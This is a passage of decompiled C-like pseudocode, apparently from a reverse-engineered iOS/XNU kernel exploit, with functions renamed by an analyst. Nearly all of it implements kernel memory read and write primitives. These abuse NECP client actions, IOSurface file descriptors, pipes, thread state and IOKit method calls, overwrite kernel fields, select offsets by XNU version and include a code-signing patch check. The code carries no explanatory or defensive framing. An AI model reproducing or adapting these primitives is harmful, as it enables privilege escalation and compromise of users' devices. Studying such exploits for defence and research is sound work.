  bool hasFdKrw = KRW_CTX_AT(ctx, uint32_t, KRW_CTX_PIPE_READ_FD_OFFSET) != -1
               && KRW_CTX_AT(ctx, uint32_t, KRW_CTX_PIPE_WRITE_FD_OFFSET) != -1
               && KRW_CTX_AT(ctx, uint32_t, KRW_CTX_IOSURFACE_FD_OFFSET) != -1
               && KRW_CTX_AT(ctx, uint64_t, KRW_CTX_NECP_TRIGGER_ADDR_OFFSET);
  bool hasMappedPortKrw = (unsigned int)(KRW_CTX_AT(ctx, uint32_t, KRW_CTX_SHARED_MEM_PORT_OFFSET) + 1) >= 2
                       && KRW_CTX_AT(ctx, uint64_t, KRW_CTX_SHARED_MEM_USER_ADDR_OFFSET)
                       && KRW_CTX_AT(ctx, uint64_t, KRW_CTX_SHARED_MEM_KERN_ADDR_OFFSET)
                       && ctx->xnuMajorVersion < 10002;

  return hasFdKrw || hasMappedPortKrw;
}

//----- (0000000000025E54) ----------------------------------------------------
__int64 __fastcall kreadbuf_via_dev_null_only(struct_krwCtx *ctx, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5)
{
  __int64 v5; // x21
  __int64 test; // x26
  __int64 v12; // x28
  unsigned int v13; // w8
  __int64 v14; // x19
  __int64 v15; // x26
  size_t v16; // x27
  unsigned __int64 v17; // x8
  int v18; // w9
  unsigned int v19; // w8
  unsigned int v20; // w8
  __int64 v21; // x25
  __int64 v22; // x2
  __int64 v23; // x0
  int v24; // w25
  int v25; // w8
  size_t v26; // x2
  size_t v27; // x2
  int v28; // w25
  int v29; // w8
  int v31; // [xsp+14h] [xbp-1CCh]
  __int64 v32; // [xsp+18h] [xbp-1C8h]
  int *v33; // [xsp+20h] [xbp-1C0h]
  int v34; // [xsp+2Ch] [xbp-1B4h] BYREF
  uint8_t __s2[160]; // [xsp+30h] [xbp-1B0h] BYREF
  uint32_t __s1[42]; // [xsp+D0h] [xbp-110h] BYREF

  v5 = 708609;
  if ( KRW_CTX_AT(ctx, uint32_t, KRW_CTX_PIPE_READ_FD_OFFSET) == -1
    || KRW_CTX_AT(ctx, uint32_t, KRW_CTX_PIPE_WRITE_FD_OFFSET) == -1
    || KRW_CTX_AT(ctx, uint32_t, KRW_CTX_IOSURFACE_FD_OFFSET) == -1
    || !KRW_CTX_AT(ctx, uint64_t, KRW_CTX_NECP_TRIGGER_ADDR_OFFSET)
    || !check_kaddr_in_physmap(ctx, a2) )
  {
    return v5;
  }
  v34 = -1;
  if ( a5 )
  {
    test = fd_open_dev_null(&v34);
    if ( (uint32_t)test )
      goto LABEL_67;
    test = fd_read_test(&KRW_CTX_AT(ctx, int, KRW_CTX_PIPE_READ_FD_OFFSET));
    if ( (uint32_t)test )
      goto LABEL_67;
  }
  v31 = a5;
  v33 = &KRW_CTX_AT(ctx, int, KRW_CTX_PIPE_READ_FD_OFFSET);
  if ( KRW_CTX_AT(ctx, uint64_t, KRW_CTX_PPL_DATA_CONST_PTR_OFFSET) )
    v12 = 8;
  else
    v12 = 4;
  if ( !a4 )
  {
LABEL_61:
    test = pipe_krw_roundtrip_verify((__int64)ctx);
    goto LABEL_66;
  }
  v13 = 0;
  v32 = v12;
  while ( 1 )
  {
    v14 = v13;
    v15 = a2 + v13;
    v16 = a4 - v13;
    if ( (ctx->pageMask & v15) != 0 || (unsigned int)v16 < 0x4000 || !krw_ctx_has_read_caps(ctx) )
      break;
    v17 = ctx->xnuVersionPacked;
    if ( v17 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
      v18 = 0x4000;
    else
      v18 = 0x80000;
    if ( v17 <= XNU_VERSION_PACKED(10001, 1023, 1023, 1023, 1023) )
      v19 = v18;
    else
      v19 = 528;
    if ( (unsigned int)v16 >= v19 )
      LODWORD(v16) = v19;
    test = necp_semaphore_kread((__int64)ctx, v15, (char *)(a3 + v14), v16);
LABEL_54:
    if ( (uint32_t)test )
      goto LABEL_65;
    v13 = v16 + v14;
    if ( (int)v16 + (int)v14 >= a4 )
      goto LABEL_61;
  }
  v20 = v12 - v16;
  if ( (unsigned int)v12 <= (unsigned int)v16 )
  {
    v20 = 0;
  }
  else if ( (((v15 - 1 + (unsigned int)v16) ^ (v15 - 1 + v12)) & ~ctx->pageMask) == 0 )
  {
    v20 = 0;
  }
  v21 = v20;
  if ( !KRW_CTX_AT(ctx, uint64_t, KRW_CTX_PPL_DATA_CONST_PTR_OFFSET) )
  {
    v23 = necp_fd_verify_roundtrip((__int64)ctx, v15 - v20);
    if ( (uint32_t)v23 )
      goto LABEL_63;
    errno = 0;
    __s1[0] = fcntl(KRW_CTX_AT(ctx, uint32_t, KRW_CTX_IOSURFACE_FD_OFFSET), 5);
    if ( __s1[0] == -1 && errno )
    {
      v28 = errno;
      v29 = errno;
      if ( v28 < 0 )
        v29 = -v29;
      test = v29 | 0x40000000u;
    }
    else
    {
      if ( (unsigned int)v16 >= 4 )
        v26 = 4;
      else
        v26 = v16;
      memcpy((void *)(a3 + v14), (char *)__s1 + v21, v26);
      test = 0;
    }
    goto LABEL_53;
  }
  if ( *v33 == -1 || KRW_CTX_AT(ctx, uint32_t, KRW_CTX_PIPE_WRITE_FD_OFFSET) == -1 || (v22 = KRW_CTX_AT(ctx, uint64_t, KRW_CTX_NECP_TRIGGER_ADDR_OFFSET)) == 0 )
  {
    test = 708609;
    goto LABEL_65;
  }
  memset(__s1, 0, 160);
  init_necp_option_struct((__int64)ctx, (__int64)__s1, v22, v15 - v20 - 72, 7);
  v23 = fd_write((__int64)v33, __s1, 0xA0u);
  if ( (uint32_t)v23 || (v23 = fd_read(v33, __s2, 0xA0u), (uint32_t)v23) )
  {
LABEL_63:
    test = v23;
    goto LABEL_65;
  }
  if ( !memcmp(__s1, __s2, 0xA0u) )
  {
    if ( ioctl(KRW_CTX_AT(ctx, uint32_t, KRW_CTX_IOSURFACE_FD_OFFSET), 0x40087367u, __s1) )
    {
      v24 = errno;
      v25 = errno;
      if ( v24 < 0 )
        v25 = -v25;
      test = v25 | 0x40000000u;
    }
    else
    {
      if ( (unsigned int)v16 >= 8 )
        v27 = 8;
      else
        v27 = v16;
      memcpy((void *)(a3 + v14), (char *)__s1 + v21, v27);
      test = 0;
    }
    v12 = v32;
LABEL_53:
    LODWORD(v16) = v12;
    goto LABEL_54;
  }
  test = 708628;
LABEL_65:
  pipe_krw_roundtrip_verify((__int64)ctx);
LABEL_66:
  if ( v31 )
LABEL_67:
    fd_close(v34);
  return test;
}

//----- (0000000000026204) ----------------------------------------------------
__int64 __fastcall necp_semaphore_kread(__int64 a1, __int64 a2, char *a3, mach_msg_type_number_t a4)
{
  unsigned __int64 v7; // x8
  __int64 v8; // x21
  __int64 *v9; // x8
  unsigned __int64 v10; // x24
  unsigned __int64 v11; // x27
  __int64 v12; // x21
  __int64 v13; // x28
  __int64 v14; // x20
  __int64 v15; // x9
  __int64 v16; // x10
  unsigned __int64 v17; // x9
  unsigned __int64 v18; // x25
  __int64 v19; // x26
  size_t v20; // x22
  __int64 v21; // x23
  unsigned __int64 v22; // x8
  __int64 v23; // x9
  __int64 v24; // x10
  bool v25; // cc
  __int64 v26; // x8
  unsigned __int64 v27; // x20
  __int64 v28; // x21
  unsigned __int64 v29; // x23
  __int64 v30; // x8
  __int64 v31; // x8
  __int64 v33; // x8
  unsigned __int64 v34; // x23
  unsigned __int64 v35; // x24
  __int64 v36; // x25
  __int64 v37; // x20
  kern_return_t v38; // w0
  int v39; // w21
  int v40; // w8
  natural_t old_state[134]; // [xsp+10h] [xbp-290h] BYREF
  __int64 v43; // [xsp+228h] [xbp-78h] BYREF
  __int64 v44; // [xsp+230h] [xbp-70h] BYREF
  mach_vm_size_t kcd_size; // [xsp+238h] [xbp-68h] BYREF
  mach_msg_type_number_t old_stateCnt[2]; // [xsp+240h] [xbp-60h] BYREF

  v7 = *(uint64_t *)(a1 + 344);
  if ( v7 < XNU_VERSION_PACKED(10002, 0, 0, 0, 0) )
  {
    v8 = 708609;
    if ( v7 >= XNU_VERSION_PACKED(8019, 60, 40, 0, 0) )
    {
      *(uint64_t *)old_state = a2;
      old_stateCnt[0] = a4;
      if ( *(uint32_t *)(a1 + 6468) != -1 )
      {
        v21 = *(uint64_t *)(a1 + 6488);
        if ( !uuid_is_null((const unsigned __int8 *)(a1 + 6472)) )
        {
          if ( *(uint64_t *)(a1 + 6488) )
          {
            v22 = *(uint64_t *)(a1 + 344);
            v23 = 880;
            if ( v22 > XNU_VERSION_PACKED(8020, 119, 1023, 1023, 1023) )
              v23 = 1392;
            v24 = 888;
            if ( v22 > XNU_VERSION_PACKED(8020, 119, 1023, 1023, 1023) )
              v24 = 1400;
            v25 = v22 >> 43 > 0x44A;
            v26 = 1408;
            if ( !v25 )
              v26 = v23;
            v27 = v26 + v21;
            if ( v25 )
              v28 = 1416;
            else
              v28 = v24;
            v29 = v21 + v28;
            if ( noppl_kwritebuf(a1, v27, old_stateCnt, 4u, 0) )
            {
              LODWORD(v8) = 163856;
              if ( noppl_kwritebuf(a1, v29, old_state, *(unsigned int *)(a1 + 360), 0) )
              {
                if ( (unsigned int)necp_client_action(*(uint32_t *)(a1 + 6468), 3, (const void *)(a1 + 6472), 0x10, (void *)a3, a4) == a4 )
                {
                  LODWORD(v8) = 0;
                }
                else
                {
                  v39 = errno;
                  v40 = errno;
                  if ( v39 < 0 )
                    v40 = -v40;
                  LODWORD(v8) = v40 | 0x40000000;
                }
              }
            }
            else
            {
              LODWORD(v8) = 163856;
            }
            old_stateCnt[0] = 0;
            if ( noppl_kwritebuf(a1, v27, old_stateCnt, 4u, 0) | (unsigned int)v8 )
              v8 = (unsigned int)v8;
            else
              v8 = 163856;
            *(uint64_t *)old_state = 0;
            if ( !noppl_kwritebuf(a1, v29, old_state, *(unsigned int *)(a1 + 360), 0) )
            {
              if ( (uint32_t)v8 )
                return (unsigned int)v8;
              else
                return 163856;
            }
          }
        }
      }
      return v8;
    }
    *(uint64_t *)old_state = a2;
    kcd_size = 0;
    *(uint64_t *)old_stateCnt = 0;
    v43 = 0;
    v44 = 0;
    if ( a4 > 0x4000 || !*(uint64_t *)(a1 + 560) || !*(uint64_t *)(a1 + 552) )
      return v8;
    if ( (unsigned int)(*(uint32_t *)(a1 + 232) + 1) >= 2 && *(uint64_t *)(a1 + 248) && *(uint64_t *)(a1 + 256) )
    {
      v33 = *(uint64_t *)(a1 + 240);
      if ( !v33 )
      {
        v8 = 708617;
        goto LABEL_75;
      }
      v31 = v33 + 256;
    }
    else
    {
      if ( *(uint32_t *)(a1 + 6448) == -1 )
        goto LABEL_75;
      if ( *(uint32_t *)(a1 + 6452) == -1 )
        goto LABEL_75;
      if ( *(uint32_t *)(a1 + 6464) == -1 )
        goto LABEL_75;
      v30 = *(uint64_t *)(a1 + 536);
      if ( !v30 )
        goto LABEL_75;
      v31 = v30 + 192;
    }
    v8 = 163856;
    v44 = v31;
    if ( noppl_kwritebuf(a1, v31 + 8, old_state, *(unsigned int *)(a1 + 360), 0) )
    {
      v34 = *(uint64_t *)(a1 + 552);
      if ( noppl_kwritebuf(a1, v34, &v44, *(unsigned int *)(a1 + 360), 0) )
      {
        v35 = *(uint64_t *)(a1 + 560);
        v36 = 163855;
        if ( kreadbuf_universal((struct_krwCtx *)a1, v35, 4u, (char *)&v43 + 4, 0) )
        {
          LODWORD(v43) = HIDWORD(v43) | 0x20;
          v37 = 163856;
          if ( !noppl_kwritebuf(a1, v35, &v43, 4u, 0) )
            goto LABEL_70;
          v38 = task_map_corpse_info_64(mach_task_self_, mach_task_self_, (mach_vm_address_t *)old_stateCnt, &kcd_size);
          if ( v38 )
          {
            v36 = v38 | 0x80000000;
          }
          else if ( *(uint64_t *)old_stateCnt && kcd_size == 0x4000 )
          {
            memcpy(a3, *(const void **)old_stateCnt, a4);
            v36 = 0;
          }
          if ( !noppl_kwritebuf(a1, v35, (char *)&v43 + 4, 4u, 0) )
          {
            if ( (uint32_t)v36 )
              v37 = (unsigned int)v36;
            else
              v37 = 163856;
            goto LABEL_70;
          }
        }
        v37 = v36;
LABEL_70:
        v44 = 0;
        if ( noppl_kwritebuf(a1, v34, &v44, *(unsigned int *)(a1 + 360), 0) )
        {
          v8 = v37;
        }
        else if ( (uint32_t)v37 )
        {
          v8 = (unsigned int)v37;
        }
        else
        {
          v8 = 163856;
        }
      }
    }
LABEL_75:
    if ( *(uint64_t *)old_stateCnt && kcd_size )
      mach_vm_deallocate(mach_task_self_, *(mach_vm_address_t *)old_stateCnt, kcd_size);
    return v8;
  }
  v8 = 708609;
  v9 = *(__int64 **)(a1 + 7504);
  if ( v9 )
  {
    if ( a4 )
    {
      v10 = 0;
      v11 = a4;
      while ( 1 )
      {
        v12 = v10 + a2;
        v13 = *v9;
        v14 = *((unsigned int *)v9 + 7);
        old_stateCnt[0] = 132;
        v15 = *(uint64_t *)(a1 + 392);
        v16 = (v10 + a2) & ~v15;
        v17 = v15 & (v10 + a2);
        if ( v17 >= (unsigned __int64)*(unsigned int *)(a1 + 384) - 528 )
          v17 = *(unsigned int *)(a1 + 384) - 528LL;
        v18 = v17 + v16;
        v19 = *(uint64_t *)(v13 + v14);
        __dsb(0xBu);
        *(uint64_t *)(v13 + v14) = v17 + v16 - 16;
        if ( thread_get_state(*((uint32_t *)v9 + 6), 17, old_state, old_stateCnt) || old_stateCnt[0] != 132 )
          break;
        if ( v18 - v12 + 528 <= v11 - v10 )
          v20 = v18 - v12 + 528;
        else
          v20 = v11 - v10;
        memcpy(&a3[v10], (char *)old_state + v12 - v18, v20);
        *(uint64_t *)(v14 + v13) = v19;
        v10 += v20;
        if ( v10 >= v11 )
          return 0;
        v9 = *(__int64 **)(a1 + 7504);
      }
      *(uint64_t *)(v14 + v13) = v19;
      return 708642;
    }
    else
    {
      return 0;
    }
  }
  return v8;
}

//----- (00000000000266D0) ----------------------------------------------------
__int64 __fastcall necp_fd_verify_roundtrip(__int64 a1, __int64 a2)
{
  __int64 v2; // x19
  __int64 v3; // x8
  int *v4; // x20
  __int64 v5; // x0
  uint8_t v7[160]; // [xsp+0h] [xbp-170h] BYREF
  __int128 __s1[2]; // [xsp+A0h] [xbp-D0h] BYREF
  __int64 v9; // [xsp+C0h] [xbp-B0h]
  __int64 v10; // [xsp+C8h] [xbp-A8h]
  __int64 v11; // [xsp+D0h] [xbp-A0h]
  __int64 v12; // [xsp+D8h] [xbp-98h]
  __int128 v13; // [xsp+E0h] [xbp-90h]
  __int128 v14; // [xsp+F0h] [xbp-80h]
  __int128 v15; // [xsp+100h] [xbp-70h]
  __int128 v16; // [xsp+110h] [xbp-60h]
  __int128 v17; // [xsp+120h] [xbp-50h]
  __int128 v18; // [xsp+130h] [xbp-40h]

  v2 = 708609;
  if ( *(uint32_t *)(a1 + 6448) != -1 && *(uint32_t *)(a1 + 6452) != -1 )
  {
    v3 = *(uint64_t *)(a1 + 536);
    if ( v3 )
    {
      v4 = (int *)(a1 + 6448);
      v9 = 0;
      v11 = 0;
      v17 = 0u;
      v18 = 0u;
      v15 = 0u;
      v16 = 0u;
      v13 = 0u;
      v14 = 0u;
      __s1[0] = 0u;
      __s1[1] = 0x6300000003uLL;
      v10 = v3 + 96;
      v12 = a2 - 96;
      LODWORD(v15) = 2;
      BYTE3(v14) = 34;
      v5 = fd_write(a1 + 6448, __s1, 0xA0u);
      if ( !(uint32_t)v5 )
      {
        v5 = fd_read(v4, v7, 0xA0u);
        if ( !(uint32_t)v5 )
        {
          if ( !memcmp(__s1, v7, 0xA0u) )
            return 0;
          else
            return 708628;
        }
      }
      return v5;
    }
  }
  return v2;
}

//----- (00000000000267E8) ----------------------------------------------------
__int64 __fastcall pipe_krw_roundtrip_verify(__int64 a1)
{
  __int64 v1; // x19
  __int64 v2; // x8
  int *v3; // x20
  __int64 v4; // x0
  uint8_t v6[160]; // [xsp+0h] [xbp-170h] BYREF
  __int128 __s1[2]; // [xsp+A0h] [xbp-D0h] BYREF
  __int64 v8; // [xsp+C0h] [xbp-B0h]
  __int64 v9; // [xsp+C8h] [xbp-A8h]
  __int128 v10; // [xsp+D0h] [xbp-A0h]
  __int128 v11; // [xsp+E0h] [xbp-90h]
  __int128 v12; // [xsp+F0h] [xbp-80h]
  __int128 v13; // [xsp+100h] [xbp-70h]
  __int128 v14; // [xsp+110h] [xbp-60h]
  __int128 v15; // [xsp+120h] [xbp-50h]
  __int128 v16; // [xsp+130h] [xbp-40h]

  v1 = 708609;
  if ( *(uint32_t *)(a1 + 6448) != -1 && *(uint32_t *)(a1 + 6452) != -1 )
  {
    v2 = *(uint64_t *)(a1 + 536);
    if ( v2 )
    {
      v3 = (int *)(a1 + 6448);
      v15 = 0u;
      v16 = 0u;
      v13 = 0u;
      v14 = 0u;
      v11 = 0u;
      v12 = 0u;
      v8 = 0;
      v10 = 0u;
      __s1[0] = 0u;
      __s1[1] = 0x6300000003uLL;
      v9 = v2 + 96;
      LODWORD(v13) = 3;
      BYTE3(v12) = 34;
      v4 = fd_write(a1 + 6448, __s1, 0xA0u);
      if ( !(uint32_t)v4 )
      {
        v4 = fd_read(v3, v6, 0xA0u);
        if ( !(uint32_t)v4 )
        {
          if ( !memcmp(__s1, v6, 0xA0u) )
            return 0;
          else
            return 708628;
        }
      }
      return v4;
    }
  }
  return v1;
}

//----- (00000000000268F8) ----------------------------------------------------
__int64 __fastcall necp_ioconnect_krw(__int64 a1, unsigned __int64 a2, __int64 a3, unsigned int a4, int a5)
{
  __int64 test; // x24
  unsigned int v11; // w27
  unsigned __int64 v12; // x8
  unsigned __int64 v13; // x9
  unsigned int v14; // w28
  size_t v15; // x25
  __int64 v16; // x26
  __int64 v17; // x0
  int v18; // w0
  int v19; // w21
  int v20; // w8
  unsigned int v22; // [xsp+8h] [xbp-58h] BYREF
  int v23; // [xsp+Ch] [xbp-54h] BYREF

  test = 708609;
  if ( *(uint32_t *)(a1 + 6448) == -1
    || *(uint32_t *)(a1 + 6452) == -1
    || *(uint32_t *)(a1 + 6464) == -1
    || !*(uint64_t *)(a1 + 536)
    || !check_kaddr_in_physmap((struct_krwCtx *)a1, a2) )
  {
    return test;
  }
  v23 = -1;
  if ( a5 )
  {
    test = fd_open_dev_null(&v23);
    if ( (uint32_t)test )
      goto LABEL_34;
    test = fd_read_test((int *)(a1 + 6448));
    if ( (uint32_t)test )
      goto LABEL_34;
  }
  if ( !a4 )
  {
LABEL_27:
    test = pipe_krw_roundtrip_verify(a1);
    goto LABEL_33;
  }
  v11 = 0;
  while ( 1 )
  {
    v12 = a4 - v11;
    v22 = 0;
    v13 = a2 + v11;
    if ( (unsigned int)v12 >= 4 )
    {
      v14 = 0;
    }
    else if ( (((v13 + (unsigned int)v12 - 1) ^ (v13 + 3)) & ~*(uint64_t *)(a1 + 392)) != 0 )
    {
      v14 = 4 - v12;
    }
    else
    {
      v14 = 0;
    }
    if ( 4 - (unsigned __int64)v14 >= v12 )
      v15 = a4 - v11;
    else
      v15 = 4LL - v14;
    v16 = v13 - v14;
    if ( v15 <= 3 && (v17 = kreadbuf_via_dev_null_only(a1, v13 - v14, (__int64)&v22, 4u, 0), (uint32_t)v17)
      || (v17 = necp_fd_verify_roundtrip(a1, v16), (uint32_t)v17) )
    {
      test = v17;
      goto LABEL_32;
    }
    memcpy((char *)&v22 + v14, (const void *)(a3 + v11), v15);
    v18 = *(uint32_t *)(a1 + 6464);
    if ( !*(uint64_t *)(a1 + 544) )
      break;
    if ( ioctl(v18, 0x8004667C, &v22) )
      goto LABEL_29;
LABEL_26:
    v11 = v11 - v14 + 4;
    if ( v11 >= a4 )
      goto LABEL_27;
  }
  if ( !fcntl(v18, 6, v22) )
    goto LABEL_26;
LABEL_29:
  v19 = errno;
  v20 = errno;
  if ( v19 < 0 )
    v20 = -v20;
  test = v20 | 0x40000000u;
LABEL_32:
  pipe_krw_roundtrip_verify(a1);
LABEL_33:
  if ( a5 )
LABEL_34:
    fd_close(v23);
  return test;
}

//----- (0000000000026B00) ----------------------------------------------------
__int64 __fastcall teardown_semaphore_helper_ctx(__int64 a1, int a2)
{
  void *v2; // x19
  _opaque_pthread_t *v3; // x0
  semaphore_t v4; // w8
  semaphore_t v6; // w1
  semaphore_t v7; // w1
  int v8; // w0

  v2 = *(void **)(a1 + 40);
  if ( v2 )
  {
    *(uint8_t *)(a1 + 12) = 0;
    *(uint64_t *)(a1 + 40) = 0;
    v3 = *(_opaque_pthread_t **)v2;
    if ( *(uint64_t *)v2 )
    {
      v4 = *((uint32_t *)v2 + 2);
      if ( v4 + 1 >= 2 && a2 != 0 )
      {
        *((uint8_t *)v2 + 56) = 1;
        semaphore_signal(v4);
        v3 = *(_opaque_pthread_t **)v2;
      }
      pthread_join(v3, 0);
      *(uint64_t *)v2 = 0;
    }
    v6 = *((uint32_t *)v2 + 2);
    if ( v6 + 1 >= 2 )
    {
      semaphore_destroy(mach_task_self_, v6);
      *((uint32_t *)v2 + 2) = 0;
    }
    v7 = *((uint32_t *)v2 + 3);
    if ( v7 + 1 >= 2 )
    {
      semaphore_destroy(mach_task_self_, v7);
      *((uint32_t *)v2 + 3) = 0;
    }
    v8 = *((uint32_t *)v2 + 4);
    if ( v8 != -1 )
    {
      close(v8);
      *((uint32_t *)v2 + 4) = -1;
    }
    *((__int128 *)v2 + 2) = 0u;
    *((__int128 *)v2 + 3) = 0u;
    *(__int128 *)v2 = 0u;
    *((__int128 *)v2 + 1) = 0u;
    free(v2);
  }
  return 0;
}

//----- (0000000000026BE4) ----------------------------------------------------
__int64 __fastcall setup_iosurface_semaphore_helper(__int64 a1)
{
  __int64 v2; // x20
  uint32_t *v3; // x0
  uint32_t *v4; // x21
  kern_return_t v5; // w0
  unsigned int v7; // w0
  char i; // w23
  int v9; // w0
  mach_timespec_t v10; // x1
  pthread_t v11; // [xsp+0h] [xbp-40h] BYREF
  semaphore_t semaphore[2]; // [xsp+8h] [xbp-38h] BYREF

  if ( *(uint64_t *)(a1 + 344) < XNU_VERSION_PACKED(8019, 0, 0, 0, 0) )
  {
    if ( *(uint8_t *)(a1 + 12) )
    {
      return 0;
    }
    else
    {
      if ( (unsigned int)(*(uint32_t *)(a1 + 16) + 1) <= 1 )
      {
        v7 = (unsigned int)ioservice_get_matching("AppleSEPManager");
        if ( v7 + 1 < 2 )
          return 708625;
        *(uint32_t *)(a1 + 16) = v7;
      }
      for ( i = 0; ; i = 1 )
      {
        v9 = _IOServiceSetAuthorizationID();
        if ( v9 != -536870207 )
          break;
        if ( (i & 1) != 0 )
          return v9 & 0xFFF | 0x70000000u;
        if ( !(unsigned int)check_csblob_patchable((struct_krwCtx *)a1, mach_task_self_) )
          return 163905;
      }
      if ( !v9 )
        goto LABEL_21;
      return v9 & 0xFFF | 0x70000000u;
    }
  }
  else
  {
    v2 = 0;
    v11 = 0;
    *(uint64_t *)semaphore = 0;
    if ( !*(uint8_t *)(a1 + 12) )
    {
      v3 = calloc(1u, 0x40u);
      if ( !v3 )
        return 708617;
      v4 = v3;
      v3[4] = -1;
      *(uint64_t *)(a1 + 40) = v3;
      v5 = semaphore_create(mach_task_self_, &semaphore[1], 0, 0);
      if ( !v5 )
      {
        v4[2] = semaphore[1];
        v5 = semaphore_create(mach_task_self_, semaphore, 0, 0);
        if ( !v5 )
        {
          v4[3] = semaphore[0];
          v2 = create_pthread_something(a1, &v11, (__int64)necp_socket_fileport_setup, (void *)a1);
          if ( (uint32_t)v2 )
            goto LABEL_7;
          *(uint64_t *)v4 = v11;
          v10 = IDA_MACH_TIMESPEC(3ULL);
          v5 = semaphore_timedwait(semaphore[0], v10);
          v2 = (unsigned int)v4[15];
          if ( (uint32_t)v2 )
            goto LABEL_7;
          if ( !v5 )
          {
LABEL_21:
            v2 = 0;
            *(uint8_t *)(a1 + 12) = 1;
            return v2;
          }
        }
      }
      v2 = v5 | 0x80000000;
LABEL_7:
      teardown_semaphore_helper_ctx(a1, 0);
    }
  }
  return v2;
}

//----- (0000000000026DD0) ----------------------------------------------------
__int64 __fastcall kreadbuf_via_IOConnectCallMethod(
        __int64 a1,
        unsigned __int64 a2,
        __int64 a3,
        unsigned int a4,
        int a5)
{
  __int64 v5; // x24
  unsigned int v12; // w8
  __int64 v13; // x28
  __int64 v14; // x25
  size_t v15; // x26
  unsigned __int64 v16; // x8
  int v17; // w9
  unsigned int v18; // w8
  unsigned int v19; // w27
  mach_port_t v20; // w0
  __int64 v21; // x8
  __int64 v22; // x9
  __int64 v23; // x9
  __int64 v24; // x10
  __int128 *v25; // x9
  kern_return_t v26; // w0
  unsigned int v27; // w8
  __int64 v28; // x9
  __int64 v29; // x24
  kern_return_t v30; // w0
  __int64 v31; // x10
  unsigned int v32; // w9
  __int64 v33; // x10
  __int64 v34; // x11
  __int64 v35; // x10
  size_t v36; // x2
  __int128 v37; // [xsp+10h] [xbp-A0h]
  int v38; // [xsp+20h] [xbp-90h] BYREF
  int v39; // [xsp+24h] [xbp-8Ch] BYREF
  size_t outputStructCnt; // [xsp+28h] [xbp-88h] BYREF
  int outputStruct; // [xsp+30h] [xbp-80h] BYREF
  uint32_t outputCnt; // [xsp+34h] [xbp-7Ch] BYREF
  uint64_t output[2]; // [xsp+38h] [xbp-78h] BYREF
  uint64_t input[2]; // [xsp+48h] [xbp-68h] BYREF

  v5 = 708609;
  if ( (unsigned int)(*(uint32_t *)(a1 + 232) + 1) >= 2 )
  {
    if ( *(uint64_t *)(a1 + 248) )
    {
      if ( *(uint64_t *)(a1 + 256) )
      {
        if ( check_kaddr_in_physmap((struct_krwCtx *)a1, a2) )
        {
          v39 = -1;
          if ( !a5 || (v5 = fd_open_dev_null(&v39), !(uint32_t)v5) )
          {
            if ( a4 )
            {
              v12 = 0;
              while ( 1 )
              {
                v13 = v12;
                v14 = a2 + v12;
                v15 = a4 - v12;
                if ( (*(uint64_t *)(a1 + 392) & v14) == 0 && (unsigned int)v15 >= 0x4000 )
                  break;
                if ( (unsigned int)v15 > 3 )
                  goto LABEL_26;
                if ( (((v14 + (unsigned int)v15 - 1) ^ (v14 + 3)) & ~*(uint64_t *)(a1 + 392)) != 0 )
                  v19 = 4 - v15;
                else
                  v19 = 0;
LABEL_27:
                v20 = *(uint32_t *)(a1 + 232);
                v5 = 708609;
                if ( v20 + 1 >= 2 )
                {
                  v21 = v14 - v19;
                  v22 = *(uint64_t *)(a1 + 248);
                  v5 = 708609;
                  if ( *(int *)(a1 + 320) < 8792 )
                  {
                    if ( v22 )
                    {
                      v5 = 708609;
                      if ( *(uint64_t *)(a1 + 256) )
                      {
                        v28 = *(uint64_t *)(a1 + 264) + v22;
                        v29 = *(uint64_t *)(v28 + 192);
                        *(uint64_t *)(v28 + 192) = v21 - 20;
                        output[0] = 0;
                        LODWORD(outputStructCnt) = 1;
                        input[0] = *(unsigned int *)(a1 + 272);
                        v30 = IOConnectCallMethod(
                                v20,
                                0x10u,
                                input,
                                1u,
                                0,
                                0,
                                output,
                                (uint32_t *)&outputStructCnt,
                                0,
                                0);
                        if ( v30 )
                        {
                          v27 = v30 | 0x80000000;
                        }
                        else
                        {
                          v27 = 0;
                          v38 = output[0];
                        }
                        v35 = *(uint64_t *)(a1 + 248);
                        v32 = 708609;
                        if ( v35 )
                        {
                          v32 = 708609;
                          if ( *(uint64_t *)(a1 + 256) )
                          {
                            v32 = 0;
                            *(uint64_t *)(*(uint64_t *)(a1 + 264) + v35 + 192) = v29;
                          }
                        }
                        goto LABEL_53;
                      }
                    }
                  }
                  else if ( v22 )
                  {
                    v5 = 708609;
                    if ( *(uint64_t *)(a1 + 256) )
                    {
                      v23 = *(uint64_t *)(a1 + 264) + v22;
                      v24 = 1096;
                      if ( *(uint64_t *)(a1 + 344) > XNU_VERSION_PACKED(8796, 100, 720, 1023, 1023) )
                        v24 = 1104;
                      v25 = (__int128 *)(v23 + v24);
                      v37 = *v25;
                      *(uint64_t *)v25 = v21;
                      *((uint64_t *)v25 + 1) = 4;
                      outputStruct = 0;
                      outputCnt = 2;
                      outputStructCnt = 4;
                      input[0] = *(unsigned int *)(a1 + 272);
                      input[1] = 0;
                      output[0] = 0;
                      output[1] = 0;
                      v26 = IOConnectCallMethod(
                              v20,
                              0x33u,
                              input,
                              2u,
                              0,
                              0,
                              output,
                              &outputCnt,
                              &outputStruct,
                              &outputStructCnt);
                      if ( v26 )
                      {
                        v27 = v26 | 0x80000000;
                      }
                      else
                      {
                        v27 = 0;
                        v38 = outputStruct;
                      }
                      v31 = *(uint64_t *)(a1 + 248);
                      v32 = 708609;
                      if ( v31 )
                      {
                        v32 = 708609;
                        if ( *(uint64_t *)(a1 + 256) )
                        {
                          v32 = 0;
                          v33 = *(uint64_t *)(a1 + 264) + v31;
                          v34 = 1096;
                          if ( *(uint64_t *)(a1 + 344) > XNU_VERSION_PACKED(8796, 100, 720, 1023, 1023) )
                            v34 = 1104;
                          *(__int128 *)(v33 + v34) = v37;
                        }
                      }
LABEL_53:
                      if ( v27 )
                        v5 = v27;
                      else
                        v5 = v32;
                      if ( !(uint32_t)v5 )
                      {
                        if ( (unsigned int)v15 >= 4 )
                          v36 = 4;
                        else
                          v36 = v15;
                        memcpy((void *)(a3 + v13), (char *)&v38 + v19, v36);
                      }
                    }
                  }
                }
                LODWORD(v15) = 4;
LABEL_29:
                if ( (uint32_t)v5 )
                  goto LABEL_62;
                v12 = v15 + v13;
                if ( (int)v15 + (int)v13 >= a4 )
                  goto LABEL_61;
              }
              if ( krw_ctx_has_read_caps((struct_krwCtx *)a1) )
              {
                v16 = *(uint64_t *)(a1 + 344);
                if ( v16 <= XNU_VERSION_PACKED(8019, 60, 39, 1023, 1023) )
                  v17 = 0x4000;
                else
                  v17 = 0x80000;
                if ( v16 <= XNU_VERSION_PACKED(10001, 1023, 1023, 1023, 1023) )
                  v18 = v17;
                else
